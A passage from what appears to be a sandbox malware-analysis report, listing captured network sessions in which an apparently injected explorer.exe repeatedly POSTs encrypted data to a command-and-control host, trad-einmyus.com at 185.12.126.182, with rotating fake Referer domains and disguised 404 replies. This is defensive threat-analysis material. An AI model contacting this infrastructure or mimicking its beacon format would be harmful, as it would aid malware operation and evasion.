                                                                                                                                                                                                                                                              Feb 8, 2024 20:18:43.886785984 CET1286INData Raw: 43 33 32 42 35 42 30 35 46 32 32 33 38 43 34 33 39 33 44 43 32 37 38 46 30 45 46 43 33 31 38 42 42 32 37 31 34 37 44 33 42 44 36 41 37 35 32 35 44 45 33 31 43 35 41 41 46 44 30 35 35 46 32 32 43 33 32 42 35 42 30 35 46 32 32 33 38 43 34 33 39 33
                                                                                                                                                                                                                                                              Data Ascii: C32B5B05F2238C4393DC278F0EFC318BB27147D3BD6A7525DE31C5AAFD055F22C32B5B05F2238C4393DE278F0EFC318BB27147D3BD6A7525DE35C5AAFD055F22C32B5B05F2238C4393DA278F0EFC318BC27147D3BD6A7525DE033182FC0F7121FC54CB2FBC58154273C000A7EFD4EAA08C04F9FABC6E7C0E005
                                                                                                                                                                                                                                                              Feb 8, 2024 20:18:43.886822939 CET1286INData Raw: 30 31 45 34 34 44 30 33 45 41 37 33 43 34 30 42 38 43 33 35 46 45 31 46 35 35 38 44 30 45 44 42 44 31 42 45 31 33 38 46 32 35 33 45 32 31 43 37 45 44 46 46 36 41 39 36 30 41 46 44 35 32 43 46 37 45 30 37 32 36 38 33 34 38 37 30 43 30 30 41 43 39
                                                                                                                                                                                                                                                              Data Ascii: 01E44D03EA73C40B8C35FE1F558D0EDBD1BE138F253E21C7EDFF6A960AFD52CF7E0726834870C00AC901FE37A78F6101D1BD68505A3C031B82FC0F5B0BD5FCCD05F85A744373CE0DA5270436A1867328D2BD64505A3C031382FC0F5B0B8687CD05F65A7C4373CE0DA5742837A18873D1D1BD6450523DA7F383F
                                                                                                                                                                                                                                                              Feb 8, 2024 20:18:43.886864901 CET1286INData Raw: 39 38 33 46 36 46 43 36 30 46 41 43 30 44 32 43 35 41 41 31 38 43 31 35 46 39 41 43 42 44 36 45 37 30 32 37 34 35 46 38 45 44 38 33 46 38 32 44 38 32 30 39 46 44 35 32 42 39 36 38 46 32 32 37 39 38 33 46 36 45 43 36 30 46 41 43 32 35 43 32 33 35
                                                                                                                                                                                                                                                              Data Ascii: 983F6FC60FAC0D2C5AA18C15F9ACBD6E702745F8ED83F82D8209FD52B968F227983F6EC60FAC25C235A58F0BF964BC6E7C0C912AED85D63B5B0CFE51E5BDF327856ADCC50FA025E235DA440ED1D79770785FF42BED87D61B5B733654CD01D8398139BFC40FA225E235DA450ED1D797047809355903DEFC752AA
                                                                                                                                                                                                                                                              Feb 8, 2024 20:18:43.887423038 CET1286INData Raw: 42 39 46 44 41 36 30 46 46 38 31 44 42 46 38 45 37 35 32 31 44 33 42 44 36 41 35 30 30 36 33 43 32 38 39 30 37 33 46 43 30 35 35 44 32 32 45 33 35 36 42 36 46 34 46 32 32 37 38 37 36 38 35 31 43 36 30 43 44 42 46 45 46 43 33 37 41 35 41 36 31 30
                                                                                                                                                                                                                                                              Data Ascii: B9FDA60FF81DBF8E7521D3BD6A50063C289073FC055D22E356B6F4F227876851C60CDBFEFC37A5A610D3A84E6E7A201409EF8081F65908F97ED30789D3834277EE2DA40C81C3A18C0AFB85BF7B07D43E2BE981E978A808FD50CF2DE127834859DA0D8E86FC37ABA6FCD3C6C0997A243A29F8FE0405590CFF7C4


                                                                                                                                                                                                                                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                              60192.168.2.549833185.12.126.182801028C:\Windows\explorer.exe
                                                                                                                                                                                                                                                              TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                              Feb 8, 2024 20:19:24.483943939 CET286OUTPOST /index.php HTTP/1.1
                                                                                                                                                                                                                                                              Connection: Keep-Alive
                                                                                                                                                                                                                                                              Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                                              Accept: */*
                                                                                                                                                                                                                                                              Referer: http://dgvcnwlrrmgleaej.net/
                                                                                                                                                                                                                                                              User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
                                                                                                                                                                                                                                                              Content-Length: 144
                                                                                                                                                                                                                                                              Host: trad-einmyus.com
                                                                                                                                                                                                                                                              Feb 8, 2024 20:19:24.483999014 CET144OUTData Raw: 12 87 80 90 1b f9 a7 b2 bf 3a 09 37 7d c3 ec 8f 32 14 dd 30 d7 41 6e 91 b8 ea a7 85 f9 d0 9a 85 6d b3 2c a0 6f 19 cd e1 9c df f3 d8 d9 95 15 05 6b 98 69 fc e4 ec aa 80 eb 5c bd d2 e4 d8 46 d4 75 24 f3 c4 86 de 9e 66 5d 02 c9 a1 c1 64 5d 9a c5 24
                                                                                                                                                                                                                                                              Data Ascii: :7}20Anm,oki\Fu$f]d]$ikn`?NO;(=aZM Q%g"Z?b;+0>m&%hS
                                                                                                                                                                                                                                                              Feb 8, 2024 20:19:24.734168053 CET189INHTTP/1.1 404 Not Found
                                                                                                                                                                                                                                                              Server: nginx/1.20.2
                                                                                                                                                                                                                                                              Date: Thu, 08 Feb 2024 19:19:24 GMT
                                                                                                                                                                                                                                                              Content-Type: text/html; charset=utf-8
                                                                                                                                                                                                                                                              Transfer-Encoding: chunked
                                                                                                                                                                                                                                                              Connection: close
                                                                                                                                                                                                                                                              Data Raw: 37 0d 0a 03 00 00 00 79 fa f3 0d 0a 30 0d 0a 0d 0a
                                                                                                                                                                                                                                                              Data Ascii: 7y0


                                                                                                                                                                                                                                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                              61192.168.2.549834185.12.126.182801028C:\Windows\explorer.exe
                                                                                                                                                                                                                                                              TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                              Feb 8, 2024 20:19:30.615406036 CET285OUTPOST /index.php HTTP/1.1
                                                                                                                                                                                                                                                              Connection: Keep-Alive
                                                                                                                                                                                                                                                              Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                                              Accept: */*
                                                                                                                                                                                                                                                              Referer: http://fjfqmqjtboisgdb.org/
                                                                                                                                                                                                                                                              User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
                                                                                                                                                                                                                                                              Content-Length: 117
                                                                                                                                                                                                                                                              Host: trad-einmyus.com
                                                                                                                                                                                                                                                              Feb 8, 2024 20:19:30.615437984 CET117OUTData Raw: 12 87 80 90 1b f9 a7 b2 bf 3a 09 37 7d c3 ec 8f 32 14 dd 30 d7 41 6e 91 b8 ea a7 85 f9 d0 9a 85 6d b3 2c a0 6f 19 cd e1 9c df f3 d8 d9 95 15 05 6b 98 69 fc e4 ec aa 80 eb 5c bd d2 e4 d8 46 d4 75 24 f3 c4 86 de 9e 66 5d 02 c9 a1 c1 64 30 a7 dd 6e
                                                                                                                                                                                                                                                              Data Ascii: :7}20Anm,oki\Fu$f]d0n6qyB$E}b2i'BCATr
                                                                                                                                                                                                                                                              Feb 8, 2024 20:19:30.872745991 CET189INHTTP/1.1 404 Not Found
                                                                                                                                                                                                                                                              Server: nginx/1.20.2
                                                                                                                                                                                                                                                              Date: Thu, 08 Feb 2024 19:19:30 GMT
                                                                                                                                                                                                                                                              Content-Type: text/html; charset=utf-8
                                                                                                                                                                                                                                                              Transfer-Encoding: chunked
                                                                                                                                                                                                                                                              Connection: close
                                                                                                                                                                                                                                                              Data Raw: 37 0d 0a 03 00 00 00 79 fa f3 0d 0a 30 0d 0a 0d 0a
                                                                                                                                                                                                                                                              Data Ascii: 7y0


                                                                                                                                                                                                                                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                              62192.168.2.549835185.12.126.182801028C:\Windows\explorer.exe
                                                                                                                                                                                                                                                              TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                              Feb 8, 2024 20:19:33.736351967 CET281OUTPOST /index.php HTTP/1.1
                                                                                                                                                                                                                                                              Connection: Keep-Alive
                                                                                                                                                                                                                                                              Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                                              Accept: */*
                                                                                                                                                                                                                                                              Referer: http://ddslfbgbdcw.net/
                                                                                                                                                                                                                                                              User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
                                                                                                                                                                                                                                                              Content-Length: 304
                                                                                                                                                                                                                                                              Host: trad-einmyus.com
                                                                                                                                                                                                                                                              Feb 8, 2024 20:19:33.736351967 CET304OUTData Raw: 12 87 80 90 1b f9 a7 b2 bf 3a 09 37 7d c3 ec 8f 32 14 dd 30 d7 41 6e 91 b8 ea a7 85 f9 d0 9a 85 6d b3 2c a0 6f 19 cd e1 9c df f3 d8 d9 95 15 05 6b 98 69 fc e4 ec aa 80 eb 5c bd d2 e4 d8 46 d4 75 24 f3 c4 86 de 9e 66 5d 02 c9 a1 c1 64 33 89 b2 68
                                                                                                                                                                                                                                                              Data Ascii: :7}20Anm,oki\Fu$f]d3h{u^fOw,etS{f/zS4,]REit4TebG1OXDpL1i%wUHMw&BbUK!vmK(%*XJk11/
                                                                                                                                                                                                                                                              Feb 8, 2024 20:19:34.014003038 CET189INHTTP/1.1 404 Not Found
                                                                                                                                                                                                                                                              Server: nginx/1.20.2
                                                                                                                                                                                                                                                              Date: Thu, 08 Feb 2024 19:19:33 GMT
                                                                                                                                                                                                                                                              Content-Type: text/html; charset=utf-8
                                                                                                                                                                                                                                                              Transfer-Encoding: chunked
                                                                                                                                                                                                                                                              Connection: close
                                                                                                                                                                                                                                                              Data Raw: 37 0d 0a 03 00 00 00 79 fa f3 0d 0a 30 0d 0a 0d 0a
                                                                                                                                                                                                                                                              Data Ascii: 7y0


                                                                                                                                                                                                                                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                              63192.168.2.549836185.12.126.182801028C:\Windows\explorer.exe
                                                                                                                                                                                                                                                              TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                              Feb 8, 2024 20:19:37.073568106 CET281OUTPOST /index.php HTTP/1.1
                                                                                                                                                                                                                                                              Connection: Keep-Alive
                                                                                                                                                                                                                                                              Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                                              Accept: */*
                                                                                                                                                                                                                                                              Referer: http://twesijjpkoj.org/
                                                                                                                                                                                                                                                              User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
                                                                                                                                                                                                                                                              Content-Length: 124
                                                                                                                                                                                                                                                              Host: trad-einmyus.com
                                                                                                                                                                                                                                                              Feb 8, 2024 20:19:37.073599100 CET124OUTData Raw: 12 87 80 90 1b f9 a7 b2 bf 3a 09 37 7d c3 ec 8f 32 14 dd 30 d7 41 6e 91 b8 ea a7 85 f9 d0 9a 85 6d b3 2c a0 6f 19 cd e1 9c df f3 d8 d9 95 15 05 6b 98 69 fc e4 ec aa 80 eb 5c bd d2 e4 d8 46 d4 75 24 f3 c4 86 de 9e 66 5d 02 c9 a1 c1 64 30 d1 a9 37
                                                                                                                                                                                                                                                              Data Ascii: :7}20Anm,oki\Fu$f]d07/7Z?\0Z^3h`$K%[
                                                                                                                                                                                                                                                              Feb 8, 2024 20:19:37.321810007 CET189INHTTP/1.1 404 Not Found
                                                                                                                                                                                                                                                              Server: nginx/1.20.2
                                                                                                                                                                                                                                                              Date: Thu, 08 Feb 2024 19:19:37 GMT
                                                                                                                                                                                                                                                              Content-Type: text/html; charset=utf-8
                                                                                                                                                                                                                                                              Transfer-Encoding: chunked
                                                                                                                                                                                                                                                              Connection: close
                                                                                                                                                                                                                                                              Data Raw: 37 0d 0a 03 00 00 00 79 fa f3 0d 0a 30 0d 0a 0d 0a
                                                                                                                                                                                                                                                              Data Ascii: 7y0


                                                                                                                                                                                                                                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                              64192.168.2.549837185.12.126.182801028C:\Windows\explorer.exe
                                                                                                                                                                                                                                                              TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                              Feb 8, 2024 20:19:40.298079014 CET282OUTPOST /index.php HTTP/1.1
                                                                                                                                                                                                                                                              Connection: Keep-Alive
                                                                                                                                                                                                                                                              Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                                              Accept: */*
                                                                                                                                                                                                                                                              Referer: http://vwdgqkoanxln.net/
                                                                                                                                                                                                                                                              User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
                                                                                                                                                                                                                                                              Content-Length: 145
                                                                                                                                                                                                                                                              Host: trad-einmyus.com
                                                                                                                                                                                                                                                              Feb 8, 2024 20:19:40.298111916 CET145OUTData Raw: 12 87 80 90 1b f9 a7 b2 bf 3a 09 37 7d c3 ec 8f 32 14 dd 30 d7 41 6e 91 b8 ea a7 85 f9 d0 9a 85 6d b3 2c a0 6f 19 cd e1 9c df f3 d8 d9 95 15 05 6b 98 69 fc e4 ec aa 80 eb 5c bd d2 e4 d8 46 d4 75 24 f3 c4 86 de 9e 66 5d 02 c9 a1 c1 64 3c d2 d4 7d
                                                                                                                                                                                                                                                              Data Ascii: :7}20Anm,oki\Fu$f]d<}HB'VIH7zmn0cbv>(3dT*1Ng%.2
                                                                                                                                                                                                                                                              Feb 8, 2024 20:19:40.547687054 CET189INHTTP/1.1 404 Not Found
                                                                                                                                                                                                                                                              Server: nginx/1.20.2
                                                                                                                                                                                                                                                              Date: Thu, 08 Feb 2024 19:19:40 GMT
                                                                                                                                                                                                                                                              Content-Type: text/html; charset=utf-8
                                                                                                                                                                                                                                                              Transfer-Encoding: chunked
                                                                                                                                                                                                                                                              Connection: close
                                                                                                                                                                                                                                                              Data Raw: 37 0d 0a 03 00 00 00 79 fa f3 0d 0a 30 0d 0a 0d 0a
                                                                                                                                                                                                                                                              Data Ascii: 7y0


                                                                                                                                                                                                                                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                              65192.168.2.549838185.12.126.182801028C:\Windows\explorer.exe
                                                                                                                                                                                                                                                              TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                              Feb 8, 2024 20:19:42.340039015 CET283OUTPOST /index.php HTTP/1.1
                                                                                                                                                                                                                                                              Connection: Keep-Alive
                                                                                                                                                                                                                                                              Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                                              Accept: */*
                                                                                                                                                                                                                                                              Referer: http://jkhwffqqpehrg.net/
                                                                                                                                                                                                                                                              User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
                                                                                                                                                                                                                                                              Content-Length: 128
                                                                                                                                                                                                                                                              Host: trad-einmyus.com
                                                                                                                                                                                                                                                              Feb 8, 2024 20:19:42.340085983 CET128OUTData Raw: 12 87 80 90 1b f9 a7 b2 bf 3a 09 37 7d c3 ec 8f 32 14 dd 30 d7 41 6e 91 b8 ea a7 85 f9 d0 9a 85 6d b3 2c a0 6f 19 cd e1 9c df f3 d8 d9 95 15 05 6b 98 69 fc e4 ec aa 80 eb 5c bd d2 e4 d8 46 d4 75 24 f3 c4 86 de 9e 66 5d 02 c9 a1 c1 64 59 c2 aa 7d
                                                                                                                                                                                                                                                              Data Ascii: :7}20Anm,oki\Fu$f]dY}5O/n%TZ4@\eNG93[88$Z
                                                                                                                                                                                                                                                              Feb 8, 2024 20:19:42.591008902 CET189INHTTP/1.1 404 Not Found
                                                                                                                                                                                                                                                              Server: nginx/1.20.2
                                                                                                                                                                                                                                                              Date: Thu, 08 Feb 2024 19:19:42 GMT
                                                                                                                                                                                                                                                              Content-Type: text/html; charset=utf-8
                                                                                                                                                                                                                                                              Transfer-Encoding: chunked
                                                                                                                                                                                                                                                              Connection: close
                                                                                                                                                                                                                                                              Data Raw: 37 0d 0a 03 00 00 00 79 fa f3 0d 0a 30 0d 0a 0d 0a
                                                                                                                                                                                                                                                              Data Ascii: 7y0


                                                                                                                                                                                                                                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                              66192.168.2.549839185.12.126.182801028C:\Windows\explorer.exe
                                                                                                                                                                                                                                                              TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                              Feb 8, 2024 20:19:48.059148073 CET282OUTPOST /index.php HTTP/1.1
                                                                                                                                                                                                                                                              Connection: Keep-Alive
                                                                                                                                                                                                                                                              Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                                              Accept: */*
                                                                                                                                                                                                                                                              Referer: http://hqyserxcjylg.net/
                                                                                                                                                                                                                                                              User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
                                                                                                                                                                                                                                                              Content-Length: 239
                                                                                                                                                                                                                                                              Host: trad-einmyus.com
                                                                                                                                                                                                                                                              Feb 8, 2024 20:19:48.059201956 CET239OUTData Raw: 12 87 80 90 1b f9 a7 b2 bf 3a 09 37 7d c3 ec 8f 32 14 dd 30 d7 41 6e 91 b8 ea a7 85 f9 d0 9a 85 6d b3 2c a0 6f 19 cd e1 9c df f3 d8 d9 95 15 05 6b 98 69 fc e4 ec aa 80 eb 5c bd d2 e4 d8 46 d4 75 24 f3 c4 86 de 9e 66 5d 02 c9 a1 c1 64 5b b5 a0 22
                                                                                                                                                                                                                                                              Data Ascii: :7}20Anm,oki\Fu$f]d["9\ M%t^]3_wIc'O5fNKYzs'L6?i$PXl2SbgS;Plzszr|y.=%qTtU<3",c?`n#
                                                                                                                                                                                                                                                              Feb 8, 2024 20:19:48.324186087 CET189INHTTP/1.1 404 Not Found
                                                                                                                                                                                                                                                              Server: nginx/1.20.2
                                                                                                                                                                                                                                                              Date: Thu, 08 Feb 2024 19:19:48 GMT
                                                                                                                                                                                                                                                              Content-Type: text/html; charset=utf-8
                                                                                                                                                                                                                                                              Transfer-Encoding: chunked
                                                                                                                                                                                                                                                              Connection: close
                                                                                                                                                                                                                                                              Data Raw: 37 0d 0a 03 00 00 00 79 fa f3 0d 0a 30 0d 0a 0d 0a
                                                                                                                                                                                                                                                              Data Ascii: 7y0


                                                                                                                                                                                                                                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                              67192.168.2.549840185.12.126.182801028C:\Windows\explorer.exe
                                                                                                                                                                                                                                                              TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                              Feb 8, 2024 20:19:52.216655016 CET286OUTPOST /index.php HTTP/1.1
                                                                                                                                                                                                                                                              Connection: Keep-Alive
                                                                                                                                                                                                                                                              Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                                              Accept: */*
                                                                                                                                                                                                                                                              Referer: http://dysqoqxqmninrkwx.net/
                                                                                                                                                                                                                                                              User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
                                                                                                                                                                                                                                                              Content-Length: 264
                                                                                                                                                                                                                                                              Host: trad-einmyus.com
                                                                                                                                                                                                                                                              Feb 8, 2024 20:19:52.217700958 CET264OUTData Raw: 12 87 80 90 1b f9 a7 b2 bf 3a 09 37 7d c3 ec 8f 32 14 dd 30 d7 41 6e 91 b8 ea a7 85 f9 d0 9a 85 6d b3 2c a0 6f 19 cd e1 9c df f3 d8 d9 95 15 05 6b 98 69 fc e4 ec aa 80 eb 5c bd d2 e4 d8 46 d4 75 24 f3 c4 86 de 9e 66 5d 02 c9 a1 c1 64 5b 96 a7 64
                                                                                                                                                                                                                                                              Data Ascii: :7}20Anm,oki\Fu$f]d[dDN:FbL;9\[u/s&;G0"2TnkaJ]$^+(qK]|cNtJ7iuQl}]DAsj+(K&l@6{3{J{2]
                                                                                                                                                                                                                                                              Feb 8, 2024 20:19:52.465778112 CET189INHTTP/1.1 404 Not Found
                                                                                                                                                                                                                                                              Server: nginx/1.20.2
                                                                                                                                                                                                                                                              Date: Thu, 08 Feb 2024 19:19:52 GMT
                                                                                                                                                                                                                                                              Content-Type: text/html; charset=utf-8
                                                                                                                                                                                                                                                              Transfer-Encoding: chunked
                                                                                                                                                                                                                                                              Connection: close
                                                                                                                                                                                                                                                              Data Raw: 37 0d 0a 03 00 00 00 79 fa f3 0d 0a 30 0d 0a 0d 0a
                                                                                                                                                                                                                                                              Data Ascii: 7y0


                                                                                                                                                                                                                                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                              68192.168.2.549841185.12.126.182801028C:\Windows\explorer.exe
                                                                                                                                                                                                                                                              TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                              Feb 8, 2024 20:19:55.030492067 CET282OUTPOST /index.php HTTP/1.1
                                                                                                                                                                                                                                                              Connection: Keep-Alive
                                                                                                                                                                                                                                                              Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                                              Accept: */*
                                                                                                                                                                                                                                                              Referer: http://mfwnykkbkwiv.org/
                                                                                                                                                                                                                                                              User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
                                                                                                                                                                                                                                                              Content-Length: 214
                                                                                                                                                                                                                                                              Host: trad-einmyus.com
                                                                                                                                                                                                                                                              Feb 8, 2024 20:19:55.030519962 CET214OUTData Raw: 12 87 80 90 1b f9 a7 b2 bf 3a 09 37 7d c3 ec 8f 32 14 dd 30 d7 41 6e 91 b8 ea a7 85 f9 d0 9a 85 6d b3 2c a0 6f 19 cd e1 9c df f3 d8 d9 95 15 05 6b 98 69 fc e4 ec aa 80 eb 5c bd d2 e4 d8 46 d4 75 24 f3 c4 86 de 9e 66 5d 02 c9 a1 c1 64 4e a3 c7 09
                                                                                                                                                                                                                                                              Data Ascii: :7}20Anm,oki\Fu$f]dNYsTBz6,25vxW&Os~}8i\](E#:)^,$BNXM9%F>.T_|5.e>(Wz'>bp1{=
                                                                                                                                                                                                                                                              Feb 8, 2024 20:19:55.292268038 CET189INHTTP/1.1 404 Not Found
                                                                                                                                                                                                                                                              Server: nginx/1.20.2
                                                                                                                                                                                                                                                              Date: Thu, 08 Feb 2024 19:19:55 GMT
                                                                                                                                                                                                                                                              Content-Type: text/html; charset=utf-8
                                                                                                                                                                                                                                                              Transfer-Encoding: chunked
                                                                                                                                                                                                                                                              Connection: close
                                                                                                                                                                                                                                                              Data Raw: 37 0d 0a 03 00 00 00 79 fa f3 0d 0a 30 0d 0a 0d 0a
                                                                                                                                                                                                                                                              Data Ascii: 7y0


                                                                                                                                                                                                                                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                              69192.168.2.549842185.12.126.182801028C:\Windows\explorer.exe
                                                                                                                                                                                                                                                              TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                              Feb 8, 2024 20:19:58.436121941 CET283OUTPOST /index.php HTTP/1.1
                                                                                                                                                                                                                                                              Connection: Keep-Alive
                                                                                                                                                                                                                                                              Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                                              Accept: */*
                                                                                                                                                                                                                                                              Referer: http://pjvpsiycjwbbq.net/
                                                                                                                                                                                                                                                              User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
                                                                                                                                                                                                                                                              Content-Length: 184
                                                                                                                                                                                                                                                              Host: trad-einmyus.com
                                                                                                                                                                                                                                                              Feb 8, 2024 20:19:58.436161041 CET184OUTData Raw: 12 87 80 90 1b f9 a7 b2 bf 3a 09 37 7d c3 ec 8f 32 14 dd 30 d7 41 6e 91 b8 ea a7 85 f9 d0 9a 85 6d b3 2c a0 6f 19 cd e1 9c df f3 d8 d9 95 15 05 6b 98 69 fc e4 ec aa 80 eb 5c bd d2 e4 d8 46 d4 75 24 f3 c4 86 de 9e 66 5d 02 c9 a1 c1 64 1f db 9c 11
                                                                                                                                                                                                                                                              Data Ascii: :7}20Anm,oki\Fu$f]dJG>qiB]42:Xj7'eYVlZ@mo?0Xs4:@--=_;-K3{g"w\
                                                                                                                                                                                                                                                              Feb 8, 2024 20:19:58.685318947 CET189INHTTP/1.1 404 Not Found
                                                                                                                                                                                                                                                              Server: nginx/1.20.2
                                                                                                                                                                                                                                                              Date: Thu, 08 Feb 2024 19:19:58 GMT
                                                                                                                                                                                                                                                              Content-Type: text/html; charset=utf-8
                                                                                                                                                                                                                                                              Transfer-Encoding: chunked
                                                                                                                                                                                                                                                              Connection: close
                                                                                                                                                                                                                                                              Data Raw: 37 0d 0a 03 00 00 00 79 fa f3 0d 0a 30 0d 0a 0d 0a
                                                                                                                                                                                                                                                              Data Ascii: 7y0


                                                                                                                                                                                                                                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                              70192.168.2.549843185.12.126.182801028C:\Windows\explorer.exe
                                                                                                                                                                                                                                                              TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                              Feb 8, 2024 20:20:01.888318062 CET282OUTPOST /index.php HTTP/1.1
                                                                                                                                                                                                                                                              Connection: Keep-Alive
                                                                                                                                                                                                                                                              Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                                              Accept: */*
                                                                                                                                                                                                                                                              Referer: http://fwwrhefacnwm.com/
                                                                                                                                                                                                                                                              User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
                                                                                                                                                                                                                                                              Content-Length: 146
                                                                                                                                                                                                                                                              Host: trad-einmyus.com
                                                                                                                                                                                                                                                              Feb 8, 2024 20:20:01.888318062 CET146OUTData Raw: 12 87 80 90 1b f9 a7 b2 bf 3a 09 37 7d c3 ec 8f 32 14 dd 30 d7 41 6e 91 b8 ea a7 85 f9 d0 9a 85 6d b3 2c a0 6f 19 cd e1 9c df f3 d8 d9 95 15 05 6b 98 69 fc e4 ec aa 80 eb 5c bd d2 e4 d8 46 d4 75 24 f3 c4 86 de 9e 66 5d 02 c9 a1 c1 64 17 da 88 70
                                                                                                                                                                                                                                                              Data Ascii: :7}20Anm,oki\Fu$f]dp=Y~eE.qtMWl2IfNrQuG*%JY"L+F
                                                                                                                                                                                                                                                              Feb 8, 2024 20:20:02.138016939 CET189INHTTP/1.1 404 Not Found
                                                                                                                                                                                                                                                              Server: nginx/1.20.2
                                                                                                                                                                                                                                                              Date: Thu, 08 Feb 2024 19:20:02 GMT
                                                                                                                                                                                                                                                              Content-Type: text/html; charset=utf-8
                                                                                                                                                                                                                                                              Transfer-Encoding: chunked
                                                                                                                                                                                                                                                              Connection: close
                                                                                                                                                                                                                                                              Data Raw: 37 0d 0a 03 00 00 00 79 fa f3 0d 0a 30 0d 0a 0d 0a
                                                                                                                                                                                                                                                              Data Ascii: 7y0


                                                                                                                                                                                                                                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                              71192.168.2.549844185.12.126.182801028C:\Windows\explorer.exe
                                                                                                                                                                                                                                                              TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                              Feb 8, 2024 20:20:07.400055885 CET283OUTPOST /index.php HTTP/1.1
                                                                                                                                                                                                                                                              Connection: Keep-Alive
                                                                                                                                                                                                                                                              Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                                              Accept: */*
                                                                                                                                                                                                                                                              Referer: http://anxavyrbnxruw.com/
                                                                                                                                                                                                                                                              User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
                                                                                                                                                                                                                                                              Content-Length: 169
                                                                                                                                                                                                                                                              Host: trad-einmyus.com
                                                                                                                                                                                                                                                              Feb 8, 2024 20:20:07.400125980 CET169OUTData Raw: 12 87 80 90 1b f9 a7 b2 bf 3a 09 37 7d c3 ec 8f 32 14 dd 30 d7 41 6e 91 b8 ea a7 85 f9 d0 9a 85 6d b3 2c a0 6f 19 cd e1 9c df f3 d8 d9 95 15 05 6b 98 69 fc e4 ec aa 80 eb 5c bd d2 e4 d8 46 d4 75 24 f3 c4 86 de 9e 66 5d 02 c9 a1 c1 64 30 d1 a3 27
                                                                                                                                                                                                                                                              Data Ascii: :7}20Anm,oki\Fu$f]d0'Gqgl'cf\5.vsZ!;\l!([:|BT7=kSOF$x]&-O7LG(<
                                                                                                                                                                                                                                                              Feb 8, 2024 20:20:07.650861025 CET189INHTTP/1.1 404 Not Found
                                                                                                                                                                                                                                                              Server: nginx/1.20.2
                                                                                                                                                                                                                                                              Date: Thu, 08 Feb 2024 19:20:07 GMT
                                                                                                                                                                                                                                                              Content-Type: text/html; charset=utf-8
                                                                                                                                                                                                                                                              Transfer-Encoding: chunked
                                                                                                                                                                                                                                                              Connection: close
                                                                                                                                                                                                                                                              Data Raw: 37 0d 0a 03 00 00 00 79 fa f3 0d 0a 30 0d 0a 0d 0a
                                                                                                                                                                                                                                                              Data Ascii: 7y0


                                                                                                                                                                                                                                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                              72192.168.2.549845185.12.126.182801028C:\Windows\explorer.exe
                                                                                                                                                                                                                                                              TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                              Feb 8, 2024 20:20:11.556788921 CET282OUTPOST /index.php HTTP/1.1
                                                                                                                                                                                                                                                              Connection: Keep-Alive
                                                                                                                                                                                                                                                              Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                                              Accept: */*
                                                                                                                                                                                                                                                              Referer: http://txonfiefbowx.com/
                                                                                                                                                                                                                                                              User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
                                                                                                                                                                                                                                                              Content-Length: 234
                                                                                                                                                                                                                                                              Host: trad-einmyus.com
